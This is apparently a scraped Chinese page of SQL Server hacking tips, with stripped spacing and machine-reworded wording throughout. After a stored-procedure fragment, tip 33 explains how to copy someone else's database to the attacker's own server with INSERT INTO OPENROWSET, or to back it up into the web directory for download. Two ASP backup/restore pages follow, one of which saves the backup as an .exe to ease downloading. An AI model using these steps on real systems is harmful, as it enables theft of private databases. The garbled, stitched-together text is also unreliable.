when2thenIsView
when3thenIsTrigger
when4thenIsProcedure
when5thenIsDefault
when6thenIsForeignKey
when7thenIsScalarFunction
when8thenIsInlineFunction
when9thenIsPrimaryKey
when10thenIsExtendedProc
when11thenIsReplProc
when12thenIsRule
end
/*Createtheselect*/
/*Use@isobjectvariableissteadofIsUserTablestring*/
EXEC(NdeclarehCForEachcursorglobalforselect[+REPLACE(user_name(uid),N],N]])+]+.+[+
REPLACE(object_name(id),N],N]])+]fromdbo.sysobjectso
+NwhereOBJECTPROPERTY(o.id,N+@isobject+)=1+Nando.category&+@mscat+N=0
+@whereand)
declare@retvalint
select@retval=@@error
if(@retval=0)
exec@retval=sp_MSforeach_worker@command1,@replacechar,@command2,@command3
if(@retval=0and@postcommandisnotnull)
exec(@postcommand)
return@retval
GO
/*
1。取得一切的存储历程的剧本:
EXEcsp_MSforeachObject@command1="sp_helptext?",@objectType=4
2。取得一切的视图的剧本:
EXEcsp_MSforeachObject@command1="sp_helptext?",@objectType=2
EXEcsp_MSforeachObject@command1="sp_changeobjectowner?,dbo",@objectType=1
EXEcsp_MSforeachObject@command1="sp_changeobjectowner?,dbo",@objectType=2
EXEcsp_MSforeachObject@command1="sp_changeobjectowner?,dbo",@objectType=3
EXEcsp_MSforeachObject@command1="sp_changeobjectowner?,dbo",@objectType=4
*/
33、DB_OWNER权限下的数据库备份办法
用openrowset吧。反连到本人的数据库呆板,~先在当地建个跟方针呆板一样布局的表~字段范例利用nvarchar.然后用陆地毗连对方的SQL数据库,在查询剖析那边实行
insertintoOPENROWSET(sqloledb,server=你数据库服务器的IP;uid=user;pwd=pass;database=dbname;,select*from你创建的表)select*from对方的表―
如果数据量太年夜的话就看看他数据库里有无主动编号的字段.select*from表名whereid>100
如许来弄吧
如果和WEB同台的话,间接将库BAK到WEB目次下返来就OK啦。。。不外条件库不克不及太年夜,凌驾2G的话SQL就超时了
假如是SA权限能够使用上面的两个ASP程序来备份数据库:
sqlbackup1.asp
<HTML>
<HEAD>
<TITLE>SQLServer数据库的备份与恢复</TITLE>
<metahttp-equiv="Content-Type"content="text/html;charset=gb2312">
</HEAD>
<BODY>
<formmethod="post"name=myform>
选择操纵:<INPUTTYPE="radio"NAME="act"id="act_backup"value="backup"><labelfor=act_backup>备份</label>
<INPUTTYPE="radio"NAME="act"id="act_restore"value="restore"><labelfor=act_restore>恢复</label>
<br>数据库名:<INPUTTYPE="text"NAME="databasename"value="<%=request("databasename")%>">
<br>文件路径:<INPUTTYPE="text"NAME="bak_file"value="c:1.exe">(备份或恢复的文件路径,备份成EXE次要为了便利下载,活活..)<br>
<inputtype="submit"value="断定">
</form>
<%
dimsqlserver,sqlname,sqlpassword,sqlLoginTimeout,databasename,bak_file,act
sqlserver="localhost"sql服务器
sqlname="sa"用户名
sqlpassword="数据库暗码"暗码
sqlLoginTimeout=15上岸超时
databasename=trim(request("databasename"))
bak_file=trim(request("bak_file"))
bak_file=replace(bak_file,"$1",databasename)
act=lcase(request("act"))
ifdatabasename=""then
response.write"inputdatabasename"
else
ifact="backup"then
Setsrv=Server.CreateObject("SQLDMO.SQLServer")
srv.LoginTimeout=sqlLoginTimeout
srv.Connectsqlserver,sqlname,sqlpassword
Setbak=Server.CreateObject("SQLDMO.Backup")
bak.Database=databasename
bak.Devices=Files
bak.Files=bak_file
bak.SQLBackupsrv
iferr.number>0then
response.writeerr.number&"<fontcolor=red><br>"
response.writeerr.description&"</font>"
endif
Response.write"<fontcolor=green>备份乐成!</font>"
elseifact="restore"then
恢复时要在没有利用数据库时举行!
Setsrv=Server.CreateObject("SQLDMO.SQLServer")
srv.LoginTimeout=sqlLoginTimeout
srv.Connectsqlserver,sqlname,sqlpassword
Setrest=Server.CreateObject("SQLDMO.Restore")
rest.Action=0fulldbrestore
rest.Database=databasename
rest.Devices=Files
rest.Files=bak_file
rest.ReplaceDatabase=TrueForcerestoreoverexistingdatabase
iferr.number>0then
response.writeerr.number&"<fontcolor=red><br>"
response.writeerr.description&"</font>"
endif
rest.SQLRestoresrv
Response.write"<fontcolor=green>恢复乐成!</font>"
else
Response.write"<fontcolor=red>没有选择操纵</font>"
endif
endif
%>
</BODY>
</HTML>
sqlbackup2.asp
<%@LANGUAGE="VBSCRIPT"CODEPAGE="936"%>
<!DOCTYPEhtmlPUBLIC"-//W3C//DTDXHTML1.0Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<htmlxmlns="http://www.w3.org/1999/xhtml">
<head>
<metahttp-equiv="Content-Type"content="text/html;charset=gb2312"/>
<title>采飞扬ASP备份MSSQL数据库程序V1.0--QQ:79998575</title>
</head>
<style>
BODY{FONT-SIZE:9pt;COLOR:#000000;FONT-FAMILY:"CourierNew";scrollbar-face-color:#E4E4F3;scrollbar-highlight-color:#FFFFFF;scrollbar-3dlight-color:#E4E4F3;scrollbar-darkshadow-color:#9C9CD3;scrollbar-shadow-color:#E4E4F3;scrollbar-arrow-color:#4444B3;scrollbar-track-color:#EFEFEF;}TABLE{FONT-SIZE:9pt;FONT-FAMILY:"CourierNew";BORDER-COLLAPSE:collapse;border-top-width:1px;border-right-width:1px;border-bottom-width:1px;border-left-width:1px;border-top-style:solid;border-right-style:none;border-bottom-style:none;border-left-style:solid;border-top-color:#d8d8f0;border-right-color:#d8d8f0;border-bottom-color:#d8d8f0;border-left-color:#d8d8f0;}.tr{font-family:"CourierNew";font-size:9pt;background-color:#e4e4f3;text-align:center;}.td{font-family:"CourierNew";font-size:9pt;background-color:#f9f9fd;}.warningColor{font-family:"CourierNew";font-size:9pt;color:#ff0000;}input{
font-family:"CourierNew";
BORDER-TOP-WIDTH:1px;
BORDER-LEFT-WIDTH:1px;
FONT-SIZE:12px;
BORDER-BOTTOM-WIDTH:1px;
BORDER-RIGHT-WIDTH:1px;
color:#000000;
}textarea{font-family:"CourierNew";BORDER-TOP-WIDTH:1px;BORDER-LEFT-WIDTH:1px;FONT-SIZE:12px;BORDER-BOTTOM-WIDTH:1px;BORDER-RIGHT-WIDTH:1px;color:#000000;}.liuyes{
background-color:#CCCCFF;
}
A:link{FONT-SIZE:9pt;COLOR:#000000;FONT-FAMILY:"CourierNew";TEXT-DECORATION:none;}tr{font-family:"CourierNew";font-size:9pt;line-height:18px;}td{font-family:"CourierNew";font-size:9pt;border-top-width:1px;border-right-width:1px;border-bottom-width:1px;border-left-width:1px;border-top-style:none;border-right-style:solid;border-bottom-style:solid;border-left-style:none;border-top-color:#d8d8f0;border-right-color:#d8d8f0;border-bottom-color:#d8d8f0;border-left-color:#d8d8f0;}.trHead{font-family:"CourierNew";font-size:9pt;background-color:#e4e4f3;line-height:3px;}.inputLogin{font-family:"CourierNew";font-size:9pt;border:1pxsolid#d8d8f0;background-color:#f9f9fd;vertical-align:bottom;}</style>
<body>
<formmethod="post"name="myform"action="?action=backupdatabase">
<tablewidth="686"border="1"align="center">
<tr>
<tdwidth="613"height="30"align="center"bgcolor="#330066"><fontcolor="#FFFFFF">采飞扬ASP备份MSSQL数据库程序V1.0</font></td>
</tr>
<tr>
<td>选择操纵:
<inputtype="radio"name="act"id="act_backup"value="backup"/>
<labelfor=act_backup>备份</label>
<inputtype="radio"name="act"id="act_restore"value="restore"/>
<labelfor=act_restore>恢复</label></td>
</tr>
<tr>
<td><label>SQL服务器:
<inputtype="text"name="sqlserver"value="localhost"/>
</label></td>
</tr>
<tr>
<td><label>用户名:
<inputname="sqlname"type="text"value="sa"/>
密码:
<inputtype="text"name="sqlpassword"/>
</label></td>
</tr>
<tr>
<td><label>数据库名:
<inputtype="text"name="databasename"value="<%=request("databasename")%>"/>
</label></td>
</tr>
<tr>
<td>文件路径:
<inputname="bak_file"type="text"value="<%=server.MapPath("")&""&"liuyes.bak"%>"size="60"/>
(备份或恢复的文件路径)</td>
</tr>
<tr>
<td><%Response.write"本文件相对路径:"%>
<fontcolor="#FF0000">
<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%>
</font></td>
</tr>
<tr>
<td><inputname=submit1type="submit"class="liuyes"id=submit1size="10"value="确定"/>
<inputname="Submit"type="reset"class="liuyes"size="10"value="重置"/></td>
</tr>
</table>
</form>
<tablewidth="686"border="1"align="center">
<tr>
<td>提醒信息:<%
ifrequest("action")=""then
response.write"<fontcolor=#ff0000>不必我多说甚么了吧!</font>"
endif
SQLServer数据库的备份与恢复!
ifrequest("action")="backupdatabase"Then
dimsqlserver,sqlname,sqlpassword,sqlLoginTimeout,databasename,bak_file,act
sqlserver=trim(request("sqlserver"))
sqlname=trim(request("sqlname"))
sqlpassword=trim(request("sqlpassword"))
sqlLoginTimeout=15
databasename=trim(request("databasename"))
bak_file=trim(request("bak_file"))
bak_file=replace(bak_file,"$1",databasename)
act=lcase(request("act"))
ifdatabasename=""then
response.write"<fontcolor=#ff0000>没有输出数据库称号!</font>"
else
ifact="backup"then
Setsrv=Server.CreateObject("SQLDMO.SQLServer")
srv.LoginTimeout=sqlLoginTimeout
srv.Connectsqlserver,sqlname,sqlpassword
Setbak=Server.CreateObject("SQLDMO.Backup")
bak.Database=databasename
bak.Devices=Files
bak.Action=0
bak.Initialize=1
bak.Replace=True
bak.Files=bak_file
bak.SQLBackupsrv
iferr.number>0then
response.writeerr.number&"<fontcolor=red><br>"
response.writeerr.description&"</font>"
endif
Response.write"<fontcolor=green>备份乐成!</font>"
elseifact="restore"then
恢复时要在没有利用数据库时举行!
Setsrv=Server.CreateObject("SQLDMO.SQLServer")
srv.LoginTimeout=sqlLoginTimeout
srv.Connectsqlserver,sqlname,sqlpassword
Setrest=Server.CreateObject("SQLDMO.Restore")
rest.Action=0fulldbrestore
rest.Database=databasename
rest.Devices=Files
rest.Files=bak_file
rest.ReplaceDatabase=TrueForcerestoreoverexistingdatabase
iferr.number>0then
response.writeerr.number&"<fontcolor=red><br>"
response.writeerr.description&"</font>"
endif
rest.SQLRestoresrv
Response.write"<fontcolor=green>恢复乐成!</font>"
else
Response.write"<fontcolor=red>请选择备份或恢复!</font>"
endif
endif
endif
%></td>
</tr>
</table>
</body>
</html>优点:简单易学、开发速度快、有很多年“历史”,能找到非常多别人做好的程序来用、配合activeX功能强大,很多php做不到的asp+activeX能做到,例如银行安全控件 |
|